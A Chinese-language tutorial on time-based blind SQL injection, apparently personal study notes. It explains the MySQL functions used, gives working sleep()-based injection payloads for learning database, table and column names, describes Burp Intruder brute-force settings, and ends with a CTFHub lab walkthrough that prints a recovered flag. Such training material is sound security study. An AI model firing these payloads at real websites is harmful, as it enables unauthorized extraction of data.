7.基于时间注入
时间盲注:web界面只返回一个正常页面。利用页面响应时间不同逐个猜解数据(数据库会执行命令,但)
(1)常用函数
sleep() :参数是休眠的时长,以秒为单位,也可以是小数
if():if(expr1,expr2,expr3);表达式,如果expr1判断为真,则返回expr2值,否则expr3的值。
substring():substr(string,start,length)函数是截取字符串的函数。
ord():函数是返回一个字符的ASCII码。
length():length(string)函数是否返回一个字符串的长度。
(2)手工注入
1>延时注入
?id=1' and sleep(5) --+
观察请求的时间,大概在5秒以上,说明构造的sleep(5) 语句起作用,可以把这个时间线作为sql 注入的判断依据
2>判断数据库长度
?id=1' and if(length(database())>8,sleep(5),0)--+
3>获取数据库名字
?id=1’ and if(ascii(substr((select database()),1,1))>100,1,sleep(5))–+ //如果数据库名字的第一个字符的acsii值小于100,则进行延时
4>判断表长
?id=1' and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))>6,sleep(5),1)--+
(3)bp半自动化注入
1>判断第一个字符
把数据包发送intruder模块
在暴力破解模块中,模式为Cluster bomb
参数为两个,第一个为数据库的第几个字符,第二个为当前字符。
2>设置爆破参数
第一个payloads为numbers1-8,第二个是simple list a-z
3>排序响应包
选择Columns选项里面的Response received并点击看排序
得到库名
注:后续步骤以此类推(表名,列,数据)
练习
ctfhub技能树时间盲注
bp
休眠5秒,长度为4
抓包更改?id=1%20and%20if(substring(database(),1,1)=%27a%27,sleep(5),sleep(1))
修改payloads
爆破得前四个最大数值是数据库sqli
id=1%20and%20if(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27sqli%27%20limit%201,1),1,1)=%27q%27,sleep(5),sleep(1))
步骤同上,得到表名flag
id=1%20and%20if(substring((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27flag%27),1,1)=%27q%27,sleep(5),sleep(1))
爆列
注:爆flag时第二个payloads要加上{}和0-9
最后得到flag ctfhub{0bc238f7a894eeb7e94d1e39}
sqlmap
库名sqli
表名分别为flag和news
列名
最后找到flag